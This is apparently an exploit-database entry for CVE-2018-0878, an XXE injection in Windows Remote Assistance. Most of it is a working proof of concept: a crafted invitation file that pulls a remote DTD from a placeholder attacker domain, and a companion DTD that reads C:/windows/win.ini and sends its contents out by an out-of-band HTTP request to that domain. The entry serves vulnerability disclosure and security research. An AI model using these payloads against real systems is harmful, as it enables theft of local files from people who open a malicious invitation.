Microsoft Windows Remote Assistance XXE Injection

`# Exploit Title: Microsoft Windows Remote Assistance XXE  
# Date: 27/03/2018  
# Exploit Author: Nabeel Ahmed  
# Tested on: Windows 7 (x64), Windows 10 (x64)  
# CVE : CVE-2018-0878  
# Category: Remote Exploits  
  
Invitation.msrcincident  
------------------------  
<?xml version="1.0" encoding="UTF-8" ?>   
<!DOCTYPE zsl [   
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">   
%remote;%root;%oob;]>  
  
xxe.xml  
------------------------  
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">   
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">  
  
Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/  
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)  
  
`